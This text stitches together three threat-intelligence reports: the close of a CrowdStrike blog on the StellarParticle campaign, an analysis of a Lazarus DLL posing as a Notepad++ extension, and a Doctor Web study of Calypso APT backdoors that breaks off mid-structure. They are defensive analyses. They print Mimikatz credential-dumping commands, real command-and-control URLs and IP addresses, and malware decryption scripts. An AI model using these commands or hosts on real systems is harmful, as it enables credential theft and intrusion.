On some investigations, the dwell time of the threat actor spanned years. Given this extended
period, it is logical to assume that some credentials obtained by the threat actor would be
rotated during normal business operations. To combat this, the threat actor periodically
refreshed
 their credential set by performing credential theft activities in an already
compromised environment. At one victim, CrowdStrike identified multiple instances of
domain credential theft months apart, each time with a different credential theft technique.
One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell
script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique,
the script executed by the threat actor was heavily obfuscated and encrypted the output using
AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell
Operational event log as the script
s execution was logged automatically due to the use of
specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their
systems, as this functionality is only available with PowerShell version 5 and above.
In addition to refreshing the threat actor
s credentials, the threat actor would also refresh their
understanding of the victim
s AD environment. Around the time when the threat actor
executed Get-ADReplAccount , the threat actor also executed a renamed version of AdFind to
output domain reconnaissance information. In this instance, AdFind was renamed to
masquerade as a legitimate Windows binary. The usage of renamed AdFind is consistent with
other industry reporting on this campaign.
In addition to using scripted commands, operators were repeatedly observed manually
executing several standard PowerShell cmdlets to enumerate network information from AD,
including Get-ADUser and Get-ADGroupMember to query specific members in the
directory. This information provided the adversary with a list of accounts possessing particular
privileges 
 in this case, the ability to make VPN connections 
 that would be subject to later
credential stealing attempts and leveraged to access the victim at a later time.
Password Policies/Hygiene
18/22
In some cases, the threat actor was able to quickly return to the environment and essentially
pick up where they left off, even though the organization had performed an enterprise-wide
password reset, including a reset of all service accounts and the double-reset of the krbtgt
account. CrowdStrike determined that in these cases, administrative users had 
reset
 their
own password to the same password they previously used, essentially nullifying the impact of
the enterprise-wide reset. This was possible even though the customer
s Active Directory was
configured to require new passwords to be different from the previous five passwords for a
given account. Unfortunately, this check only applies when a user is changing their password
via the 
password change
 method 
 but if a 
password reset
 is performed (changing the
password without knowing the previous password), this check is bypassed for an
administrative user or a Windows account that has the Reset Password permission on a user
account object.12 Since the Get-ADReplAccount cmdlet described above included the
NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was
able to verify that some administrative accounts indeed had the exact same password hash
showing up multiple times in the password history, as well as in the current NTHash value.
Close Out
The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates
this threat actor
s extensive knowledge of Windows and Linux operating systems, Microsoft
Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected
for months 
 and in some cases, years.
A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams
for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet,
Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.
Endnotes
MITRE ATT&CK Framework
The following table maps TTPs covered in this article to the MITRE ATT&CK
 framework.
Tactic
Technique
Observable
Credential
Access
T1003.006 OS
Credential
Dumping:
DCSync
The threat actor obtained Active Directory credentials
through domain replication protocols using the GetADReplAccount command from DSInternals
Credential
Access
T1003.001: OS
Credential
Dumping:
LSASS
Memory
The threat actor used a heavily obfuscated PowerShell
script to execute the Mimikatz commands
privilege::debug sekurlsa::logonpasswords
lsadump::lsa /patch
 in-memory and encrypt the
output
19/22
Initial Access /
Persistence
T1078.003:
Valid Accounts:
Local Accounts
A local account was used by the Threat Actor to
establish a SSH tunnel into the internal network
environment
Initial Access /
Persistence
T1133:
External
Remote
Services
The threat actor used VPNs to gain access to systems
and persist in the environment
Credential
Access
T1555.003:
Credentials
from Password
Stores:
Credentials
from Web
Browsers
The threat actor exported saved passwords from
user
s Chrome browser installations
Credential
Access
T1539: Steal
Web Session
Cookie
The threat actor stole web session cookies from end
user workstations and used them to access cloud
resources
Lateral
Movement
T1021.001:
Remote
Services:
Remote
Desktop
Protocol
The threat actor used both privileged and nonprivileged accounts for RDP throughout the
environment, depending on the target system
Initial Access,
Persistence
T1078.004:
Valid Accounts:
Cloud
Accounts
The threat actor used accounts with Delegated
Administrator rights to access other O365 tenants. The
Threat actor also used valid accounts to create
persistence within the environment.
Persistence
T1546.003:
Event
Triggered
Execution:
Windows
Management
Instrumentation
Event
Subscription
TrailBlazer was configured to execute after a reboot
via a command-line event consumer
Defense
Evasion
T1036.005:
Masquerading:
Match
Legitimate
Name or
Location
The threat actor renamed their utilities to masquerade
as legitimate system binaries (AdFind as svchost.exe),
match the system
s role (GoldMax), or appear
legitimate (TrailBlazer as an apparent Adobe utility).
Additionally, the threat actor renamed their systems
prior to connecting to victim
s VPNs to match the
victim
s system naming convention
20/22
Discovery
T1087.002:
Account
Discovery:
Domain
Account
T1482: Domain
Trust Discovery
The threat actor used AdFind, standard PowerShell
cmdlets, and custom tooling to identify various pieces
of information from Active Directory
T1069.002:
Permission
Groups
Discovery:
Domain
Groups
Defense
Evasion /
Lateral
Movement
T1550.001:
Use Alternate
Authentication
Material:
Application
Access Token
The threat actor used compromised service principals
to make changes to the Office 365 environment.
Collection
T1213.: Data
from
Information
Repositories:
The threat actor accessed data from Information
Repositories
Persistence
T1098.001:
Account
Manipulation:
Additional
Cloud
Credentials
The threat actor added credentials to O365 Service
Principals
Persistence
T1078.004:
Valid Accounts:
Cloud
Accounts
The threat actor created new O365 Service Principals
to maintain access to victim
s environments
Discovery
T1057:
Process
Discovery
The threat actor regularly interrogated other systems
using tasklist.exe
Reconnaissance
T1595.001:
Active
Scanning:
Scanning IP
Blocks
The threat actor probed external services in an attempt
to regain access to the environment
Indicators of Compromise (IOCs)
21/22
Indicator
Details
http://satkas.waw[.]pl/rainloop/forecast
TrailBlazer
1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105
TrailBlazer
SHA256
vm-srv-1.gel.ulaval.ca
GoldMax C2
2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac
GoldMax
SHA256
156.96.46.116
Infrastructure
188.34.185.85
Infrastructure
212.103.61.74
Infrastructure
192.154.224.126
Infrastructure
23.29.115.180
Infrastructure
104.237.218.74
Infrastructure
23.82.128.144
Infrastructure
Additional Resources
Read about the latest trends in threat hunting and more in the 2021 Threat Hunting
Report or simply download the report now.
Learn more about Falcon OverWatch proactive managed threat hunting.
Watch this video to see how Falcon OverWatch proactively hunts for threats in your
environment.
Learn more about the CrowdStrike Falcon
 platform by visiting the product webpage.
Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent
today.
22/22
A detailed analysis of Lazarus APT malware disguised as Notepad++ Shell Extension
cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension
Summary
Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing. In this
case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx
(https://twitter.com/ShadowChasing1/status/1455489336850325519). The malware extracts the hostname, username, network information, a
list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is
compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that
include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.
Technical analysis
SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DllGetFirstChild):
Figure 1
The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary
Mozilla / 5.0 (Windows NT 10.0; WOW64; Trident / 7.0; rv:11.0) li
, which is Internet Explorer on Windows 10:
Figure 2
The binary extracts the current system date and time using the GetSystemTimeAsFileTime API:
Figure 3
GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll:
Figure 4
The process gets the address of the following export functions using the GetProcAddress routine: 
RtlGetCompressionWorkSpaceSize
RtlCompressBuffer
RtlDecompressBuffer
RtlGetVersion
. An example of a function call is shown in figure 5:
1/16
Figure 5
The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW:
Figure 6
The GetAdaptersInfo API is used to retrieve adapter information for the local machine:
Figure 7
The MAC address extracted above is written to a buffer:
Figure 8
The file extracts the command-line string for the current process:
Figure 9
CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to
argv and argc):
Figure 10
According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following
parameters:
NTPR
P6k+pR6iIKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/+EgASBik/GgYBwBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xy5
The binary decrypts the above parameter using a custom algorithm displayed in figure 11. The list of resulting strings contains multiple C2
servers:
2/16
Figure 11
Figure 12
The following URLs have been decrypted:
https[:]//mante.li/images/draw.php
https[:]//bmanal.com/images/draw.php
https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
https[:]//industryinfostructure.com/templates/worldgroup/view.php
The GetNetworkParams routine is used to retrieve network parameters for the local computer:
Figure 13
The malicious process extracts the name of the DNS domain assigned to the local host (0x2 = ComputerNameDnsDomain):
Figure 14
The following network information is written to a temporary buffer:
3/16
Figure 15
Figure 16
The process gets the username associated with the current thread by calling the GetUserNameW function:
Figure 17
4/16
The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (0x2 = TH32CS_SNAPPROCESS):
Figure 18
The file extracts information about the first process from the snapshot via a call to Process32FirstW:
Figure 19
The malicious binary opens the process object using the OpenProcess routine (0x410 = PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ):
Figure 20
Whether the file doesn
t have enough rights to open a process, it copies 
Unknown
 along with the process name to a temporary buffer.
The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 =
TH32CS_SNAPMODULE):
Figure 21
Module32FirstW is utilized to retrieve information about the first module associated with the current process:
Figure 22
The malicious DLL gets information about the next process recorded in the snapshot:
Figure 23
The OpenProcessToken routine is used to open the access token associated with a process (0x8 = TOKEN_QUERY):
5/16
Figure 24
GetTokenInformation is utilized to extract the user account of the token (0x1 = TokenUser):
Figure 25
The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to
LookupAccountSidW:
Figure 26
GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC = TokenSessionId):
Figure 27
The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function
(0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):
Figure 28
The process compresses the buffers from figures 15 and 16 using the RtlCompressBuffer function (0x102 =
COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):
6/16
Figure 29
The DLL randomly chooses a C2 server from the list of four. It initializes the application
s use of the WinINet functions via a call to
InternetOpenW:
Figure 30
InternetCanonicalizeUrlW is used to canonicalize the URL:
Figure 31
The malware cracks the URL into its component parts by calling the InternetCrackUrlW API:
Figure 32
The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 =
INTERNET_OPTION_CONNECT_TIMEOUT, 0x5 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 =
INTERNET_OPTION_RECEIVE_TIMEOUT):
Figure 33
7/16
Figure 34
Figure 35
The DLL opens an HTTP session to the C2 server on port 443 (0x3 = INTERNET_SERVICE_HTTP):
Figure 36
The binary creates a POST request handle to the URI extracted from the specified URL:
Figure 37
The security flags for the handle are set using the InternetSetOptionW API (0x1F = INTERNET_OPTION_SECURITY_FLAGS, 0xF180 =
SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS):
Figure 38
The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array):
8/16
Figure 39
Figure 40
The encrypted buffer from above is encoded using Base64:
Figure 41
9/16
Figure 42
The binary constructs the following parameters 
search=YOIPOUP&ei=6128&oq=<Base64-encoded buffer>
Figure 43
The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine (0xA0000000 =
HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD):
Figure 44
HttpSendRequestW is used to exfiltrate data to the C2 server:
Figure 45
s worth mentioning that all C2 servers were down during our analysis. We
ve emulated network connections using FakeNet.
The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5 = HTTP_QUERY_CONTENT_LENGTH):
Figure 46
The binary copies the C2 response to a buffer via a function call to InternetReadFile:
10/16
Figure 47
The malicious process parses the data between the 
<html></html>
 and 
<div></div>
 tags:
Figure 48
The malware performs a similar POST request with different parameter values 
search=DOWPANY&ei=6128
Figure 49
The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based
on the EAX register value:
Figure 50
11/16
EAX = 0 
 load a PE into the current process memory
GetNativeSystemInfo is utilized to retrieve information about the current system:
Figure 51
The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000 = MEM_COMMIT |
MEM_RESERVE, 0x4 = PAGE_READWRITE):
Figure 52
The malware changes the memory protection depending on the segment (for example, the code segment
s memory protection is set to 0x20 =
PAGE_EXECUTE_READ):
Figure 53
After a few more operations, the process passes the control flow to the new PE.
EAX = 1 
 download and execute a .exe file
The binary gets the AppData folder path by calling the SHGetFolderPathW routine (0x1c = CSIDL_LOCAL_APPDATA):
Figure 54
GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started:
Figure 55
The malware creates a file based on the above value (0x40000000 = GENERIC_WRITE, 0x1 = FILE_SHARE_READ, 0x2 =
CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL):
12/16
Figure 56
The newly created file is populated with content that is supposed to be transmitted by the C2 server:
Figure 57
The malicious binary executes the file by calling the CreateProcessW API:
Figure 58
EAX = 2 
 download and execute a .dll file
The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export
function can also be specified in the command line):
13/16
Figure 59
EAX = 3 
 copy and execute shellcode
The process allocates memory using the VirtualAlloc routine (0x1000 = MEM_COMMIT, 0x40 = PAGE_EXECUTE_READWRITE):
Figure 60
The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available. If
this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 =
PF_FASTFAIL_AVAILABLE):
Figure 61
The malware jumps to the shellcode and then frees the memory area allocated earlier:
14/16
Figure 62
As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are
legitimate.
ve studied a legitimate Notepad++ shell extension (SHA256: f3e2e6f9e7aa065e89040a0c16d1f948489b3751e5eb5efac8106d5f7d65d98d
64-bit) and compared the export functions between the 2 files. As we can see below, the functions are very similar:
Figure 63
Figure 64
References
15/16
MSDN: https://docs.microsoft.com/en-us/windows/win32/api/
Fakenet: https://github.com/fireeye/flare-fakenet-ng
VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/
INDICATORS OF COMPROMISE
C2 domains:
mante.li
bmanal.com
shopandtravelusa.com
industryinfostructure.com
SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
URLs:
https[:]//mante.li/images/draw.php
https[:]//bmanal.com/images/draw.php
https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
https[:]//industryinfostructure.com/templates/worldgroup/view.php
16/16
Study of an APT attack on a
telecommunications
company in Kazakhstan
 Doctor Web, Ltd., 2022. All rights reserved.
This document is the property of Doctor Web, Ltd. (hereinafter - Doctor Web). No part of this
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Study of an APT attack on a telecommunications company in Kazakhstan
3/23/2022
Doctor Web Head Office
2-12A, 3rd str. Yamskogo polya
Moscow, Russia
125040
Website: www.drweb.com
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Refer to the official website for regional and international office information.
Table of Contents
Introduction
Remote Rover
Conclusion
Operating Routine of Discovered Malware Samples
BackDoor.PlugX.93
BackDoor.Siggen2.3622
BackDoor.Whitebird.30
Trojan.DownLoader43.44599
Trojan.Loader.891
Trojan.Loader.896
Trojan.Uacbypass.21
Appendix. Indicators of Compromise
Introduction
In October 2021, one of Kazakhstan
s telecommunication companies contacted Doctor Web,
with suspicion of malware in the corporate network. During the first look, we found backdoors
that were previously only used in targeted attacks. During the investigation, we also found out
that the company
s internal servers had been compromised since 2019. For several years,
Backdoor.PlugX.93 and BackDoor.Whitebird.30, the Fast Reverse Proxy (FRP) utilities, and
RemCom have been the main attackers' tools.
Because of the hackers' mistake, we got a unique opportunity to study the lists of victims and
find out what backdoor management tools were used. Based on the acquired information, we
concluded that the hacker group specialized in compromising the Asian companies
 mail servers
with Microsoft Exchange software installed. That said, we also found victims from other
countries, including:
 Egyptian government agency
 Italian airport
 USA marketing company
 Canadian transport and woodworking companies
The logs collected along with the command and control server included victims infected from
August 2021 to early November of the same year. Yet, in some cases, BackDoor.Whitebird.30
was installed not only on the server running Microsoft Exchange, but on domain controllers, too.
Based on the tools, methods, and infrastructure used, we conclude that the Calypso APT hacker
group is behind the attack.
Remote Rover
Command and control server for BackDoor.Whitebird.30 calls Remote Rover. It allows hackers
to remotely launch applications, update the backdoor configuration, download and upload files.
Besides that, you can use a command shell via Remote Rover. This is what the control server
interface looks like:
Remote Rover came with a configuration file CFG\default.ini with the following content:
\2021\RR\
\telecom.cfg
OneClock.exe
If you translate the content from Chinese into English, you can get this path:
E:\personal use\Independent research and development
remote\2021\RR\Configuration backup\telecom.cfg
For a detailed description of the malware used and how it works, see the Dr.Web Virus Library.
 BackDoor.Siggen2.3622
 BackDoor.PlugX.93
 BackDoor.Whitebird.30
 Trojan.Loader.891
 Trojan.Loader.896
 Trojan.Uacbypass.21
 Trojan.DownLoader43.44599
Conclusion
During the investigation of the targeted attack, Doctor Web virus analysts found and described
several backdoors and trojans. It
s worth noting that the attackers managed to remain
undetected for as long as other targeted attack incidents. A hacker group compromised a
telecommunications company's network more than two years ago.
Doctor Web specialists recommend regularly checking network resources
 efficiency and timely
fixing failures that may indicate the presence of malware on the network. Data compromise is
one of targeted attacks
 main dangers, but the long-term presence of intruders is also a cause
for concern. Such development allows them to control the organization
s work for many years
and gain access to especially sensitive information at the proper time. If you suspect malicious
activity in the corporate network, the best option is to contact the Doctor Web virus laboratory
for qualified help. Dr.Web FixIt! helps you detect malware on servers and workstations. Taking
adequate measures timely will minimize the damage and prevent the serious consequences of
targeted attacks.
Operating Routine of Discovered Malware Samples
BackDoor.PlugX.93
Added to the Dr.Web virus database: 2021-10-22
Virus description added: 2021-10-30
Packer: absent
Compilation date: 2020-08-13
SHA1 hash: a8bff99e1ea76d3de660ffdbd78ad04f81a8c659
Description
The PlugX backdoor module is written in C. It
s designed to decrypt the shellcode from the
registry that loads the main backdoor into memory.
Operating principle
First, the backdoor receives the address of the VirtualProtect() function by hash. It then
uses this address to change access rights to PAGE_EXECUTE_READWRITE, starting from the
function at 0x10001000 and ending with the entire .text section:
Getting the function
s address by the hash passed as a parameter:
Script to get a function by hash:
import pefile
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
max_bits = 32
library_path_list = [...] # absolute path dlls
def get_func_addr(hash):
for library_path in library_path_list:
library = library_path.split('\\')
name_dll = library[len(library) - 1].upper() + b'\x00'
hash_name_dll = 0
for i in name_dll:
hash_name_dll = ord(i) + ror(hash_name_dll, 0x0D, max_bits)
hash_name_dll = 0 + ror(hash_name_dll, 0x0D, max_bits)
pe = pefile.PE(library_path)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
func_name = exp.name + b'\x00'
hash_name_func = 0
for i in func_name:
hash_name_func = ord(i) + ror(hash_name_func, 0x0D,
max_bits)
if (hash_name_dll + hash_name_func == hash):
print '{}-> 0x{:08x} -> {}'.format(name_dll, hash,
exp.name)
return
Changing the permissions to PAGE_EXECUTE_READWRITE was necessary to decrypt the code
using the XOR operation:
One version of the backdoor has dynamic XOR encryption. It has decryption at the beginning of
the function:
And with encryption at the end of the function:
Facilitating the script
s work for IDAPython:
import idaapi
def xor_dec(address, count, key):
for i in xrange(count):
idaapi.patch_dword(address, idaapi.get_dword(address) ^ key)
key += idaapi.get_dword(address)
address += 4
Before performing malicious actions, the backdoor, as in the case of VirtualProtect(),
receives functions
 addresses that it needs to work
Received features:
Function name
Hash
CloseHandle
0x528796C6
CreateFileA
0x4FDAF6DA
DeleteFileA
0x13DD2ED7
ExitProcess
0x56A2B5F0
GetAdaptersInfo
0x62C9E1BD
GetModuleFileNameA
0xFE61445D
GetSystemDirectoryA
0x60BCDE05
LoadLibraryA
0x726774C
ReadFile
0xBB5F9EAD
Function name
Hash
RegCloseKey
0x81C2AC44
RegDeleteValueA
0x3846A3A8
RegEnumValueA
0x2EC95AA4
RegOpenKeyExA
0x3E9E3F88
RegQueryValueExA
0x8FF0E305
VirtualAlloc
0xE553A458
VirtualFree
0x300F2F0B
VirtualProtect
0xC38AE110
WinExec
0x876F8B31
WriteFile
0x5BAE572D
In addition, the backdoor checks if it is executed in a sandbox:
After receiving the function addresses and checking for execution in the sandbox,
BackDoor.PlugX.93 removes the updatecfgSetup task from the task scheduler:
The key for shellcode encryption is MD5 from the following registry key values:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate
HKLM\System\ControlSet001\Control\ComputerName\ComputerName
The shellcode is stored in the following registry keys:
HKLM\Software\BINARY
HKCU\Software\BINARY
Before running the shellcode, it
ll be decrypted in 2 steps: first, using the RC4 algorithm:
then, with XOR:
BackDoor.Siggen2.3622
Added to the Dr.Web virus database: 2021-11-03
Virus description added: 2021-xx-xx
Packer: UPX
SHA1 hash: be4d8344669f73e9620b9060fd87bc519a05617a
Description
A backdoor written in Go. It
s packed by UPX. Investigated backdoor version V2.5.5 z 2021.7.19.
Operating principle
In the beginning, the malicious code checks if another backdoor copy is running. The trojan
checks for the c:\windows\inf\mdmslbv.inf file. If it exists, the trojan starts reading. You
can use the following script to decrypt:
import sys
with open(sys.argv[1], 'rb') as f:
d = f.read()
s = bytearray()
for i in range(len(d)):
s.append(d[i])
for i in range(len(s)-2, 0, -1):
s[i] = (((s[i + 1] * s[i + 1]) ^ s[i]) & 0xff)
with open(sys.argv[1] + '.dec', 'wb') as f:
f.write(s)
Encrypted file
s length
The packet
s structure:
 random string from 10 to 19 characters long
 between the <a>...</a> tags contains the backdoor process
s PID
 between the <b>...</b> tags is the process
s name
 random string from 10 to 19 characters long
The trojan checks for the existence of a process with the specified parameters. If it finds it, the
trojan terminates its work.
If it doesn
t find a process with the specified parameters or the mdmslbv.inf file itself, the
trojan generates data as shown above. Then, it encrypts and writes to the c:
\windows\inf\mdmslbv.inf.
Communication with the command and control server
The trojan has command and control server: blog[.]globnewsline[.]com.
The trojan sends a GET request to the following URL:
hxxps://blog.globnewsline.com:443/db/db.asp using User-Agent "Mozilla/5.0 (X11;
Windows x86_64; rv:70.0) Gecko/20100101 Firefox/70.0". If the server response contains the
substring Website under construction, then the trojan considers that the control server is
available. If the server is unavailable, the malicious code checks for the presence of a proxy
configuration file c:\windows\inf\bksotw.inf. If that
s present, the trojan reads the
parameters written in the file.
The backdoor uses MAC addresses as the network interface bot ID. For heartbeat requests, the
following POST requests are used:
https://blog.globnewsline.com:443/db/db.asp?m=w&n=~A<macaddr>.t
where <macaddr> is the MAC address string, converted to uppercase with colons removed.
Next, a GET request is sent to get a list of commands:
https://blog.globnewsline.com:443/db/A<macaddr>.c
The server response is encrypted in the same way as the file with the backdoor process
s PID.
The following commands can be executed:
 down
 bgd
 getinfo
The command
s result is encrypted the same way as the command itself was encrypted. Then, it
sent in the POST request
s body to the following URL:
https://blog.globnewsline.com:443/db/A<macaddr>.c
BackDoor.Whitebird.30
Added to the Dr.Web virus database: 2021-10-21
Virus description added: 2021-xx-xx
Packer: absent
Compilation date: 2021-29-03
SHA1 hash: abfd737b14413a7c6a21c8757aeb6e151701626a
Description
A multi-functional backdoor trojan for 64-bit and 32-bit Microsoft Windows operating system
family. It
s designed to establish an encrypted connection with the command and control server
and unauthorized control of an infected computer. It has a file manager and Remote Shell
functions.
Preparing procedures
At the beginning of the work, the backdoor decrypts the overlay provided by the shellcode. The
first encryption layer is removed by the following algorithm:
k = 0x37
s = bytearray()
for i in range(len(d)):
c = d[i] ^ k
s.append(c)
k = (k + c) & 0xff
The second layer is the XOR operation with the key 0xCC.
This overlay contains:
 configuration of trojan
 module for bypassing UAC
Configuration looks as follows:
struct st_proxy
char proxy_addr[32];
char proxy_login[64];
char proxy_password[64];
_BYTE pad[2];
struct st_config
char cnc_addr[4][34];
st_proxy proxies[4];
char home_dir[260];
char exe_name[50];
char loader_name[50];
char shellcode_name[50];
char software_name[260];
char startup_argument[50];
_DWORD reg_hkey;
char reg_run_key[200];
char reg_value_name[52];
char taskname[52];
_DWORD mstask_mo;
char svcname[50];
char svcdisplayname[50];
char svcdescription[256];
char reg_uninstall_key[50];
char inject_target_usr[260];
char inject_target[260];
_BYTE byte0[2];
_BYTE flags;
_BYTE pad[3];
_DWORD keepalivetime;
unsigned __int8 key[16];
The flags field displays which autoload methods the trojan should use, and what launch
features are:
enum em_flags
GOT_ENOUGH_RIGHTS= 0x1,
UNK_FLAG_2 = 0x2,
UNK_FLAG_4 = 0x4,
INSTALL_AS_MSTASK = 0x8,
INSTALL_AS_SERVICE = 0x10,
RUN_WITH_ARGUMENT = 0x20,
INJECT_TO_PROCESS = 0x40,
RUN_AS_USER = 0x80,
If the launch is specified via the task scheduler (INSTALL_AS_MSTASK), then the configuration
flags creates a mutex after decrypting. That prevents restart:
Next, it checks if the trojan has enough rights to launch in the way that was previously specified
in the configuration. If not, it restarts itself to bypass UAC.
Trojan checks for the presence of a file in the path
C:Users\Public\Downloads\clockinstall.tmp, and if it exists, it deletes
clockinstall.tmp.
If the clockinstall.tmp file is missing, it checks if the install file exists in the folder from
which the trojan was launched. If it exists, it removes it.
Then, it installs itself into the system in accordance with the type specified in the configuration.
The backdoor will also try to hide its activity from the user.
If the trojan runs on a 32-bit OS, then the same mechanism for hiding a service from running
ones is valid, as in BackDoor.PlugX.28, deleting that structure from the list of
ServiceDatabase structures. That corresponds to the trojan service.
If the configuration specifies that the trojan should be injected into a process, then it
ll be
injected into the target process. If the RUN_AS_USER flag is specified in the configuration, then
the trojan will wait until at least one authorized user appears. After that, it
ll create its own
process, but on behalf of the user.
Regardless of the trojan's autorun type, only one process can communicate with the command
and control server. This creates a mutex:
Before attempting to establish a connection with the command and control server, trojan
determines the proxy server settings. For this purpose:
 The presence of the <process_name>.ini file in the folder from which the trojan process
was launched is checked. Example of the configuration:
[AntiVir]
Cloud=0A0804D2242000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000299CC1003C9CC10098F11900DCF1190062F21900000000
00E02AC300CC004501D8F11900000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000001
 Reads a file named <loader_name>.tmp in the trojan folder, where <loader_name> is
the value from the configuration
 Reads proxy settings from registry
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,
keys ProxyEnable and ProxyServer
 Reads proxy settings from Mozilla Firefox settings - %APPDATA%
\Mozilla\Firefox\<profile>\prefs.js
 Checks for stored login:password from the proxy server in Mozilla Firefox and Internet
Explorer
Control server protocol
Establishing a connection to the server mimics the creation of a TLS1.0 connection between the
client and the server. Trojan body contains two buffers:
1. Contains the TLS1.0 Client Hello package:
2. Contains TLS 1.0 Client Key Exchange packets with key length 0x100 bytes, Change Cipher
Spec, Client Handshake Finished:
When sending a Client Hello packet, the trojan encrypts all bytes of the Client Random field,
starting from the 4th one, using the XOR method with random bytes. It also records the current
time in the first 4. The server's response to this message is accepted, but the data is ignored.
When sending the second packet, the backdoor also encrypts the Client Key Exchange packet
public key field using the XOR method with random bytes, and writes its 28-byte key into the
data of the Client Handshake Finished packet. That
ll be used to encrypt and decrypt packets
sent or received from the server. The backdoor encrypts the last 4 bytes of the Client Handshake
Finished packet with random bytes. Then, it sends it to the command and control server. In
response, the server sends its own key. That key is used to initialize the key shared with the client.
After that, the backdoor enters the command processing cycle from the control server. The
traffic between the client and the server is encrypted using the RC4 algorithm.
The list of commands:
opcode
Command
0x01
Gathering information regarding the infected device
0x02
Remote shell
0x03
File manager (see below for commands ending in 3)
0x100
Keep-Alive
0x103
Open file for writing
0x203
Download a file
0x303
Data to be written
0x400
Reconnect to server
0x403
Obtain information about disk or directory listing;
0x500
To finish work
0x503
Move a file
0x600
Delete proxy configuration ini file
0x603
Delete a file
0x703
Run a process
0x700
Execute a command during ShellExecute
0x800
Renew configuration
Trojan.DownLoader43.44599
Added to the Dr.Web virus database: 2021-10-15
Virus description added: 2021-10-20
Packer: absent
Compilation date: 2020-07-13
SHA1 hash: 1a4b8232237651881750911853cf22d570eada9e
Description
The trojan is written in C++. It
s used for unauthorized control of an infected computer.
Operating principle
In the beginning, the trojan decrypts the C&C server
s IP addresses and ports using the XOR
operation:
import idaapi
address = 0x416200
for i in xrange(0x7c):
idaapi.patch_byte(address + i, idaapi.get_byte(address + i) ^ 0xEF)
Decryption result:
C&C server
159.65.157.100:443
Communication with it occurs using sockets:
Depending on the time, the connection to the required C&C server will be selected:
The trojan creates file tmp.0 in folder %tmp%, that it use as log.
Collect information about the system:
Trojan.DownLoader43.44599 pushes each value onto a stack before encrypting and sending the
collected data. The transferred data looks as follows:
struct computer_info {
string computer_name;
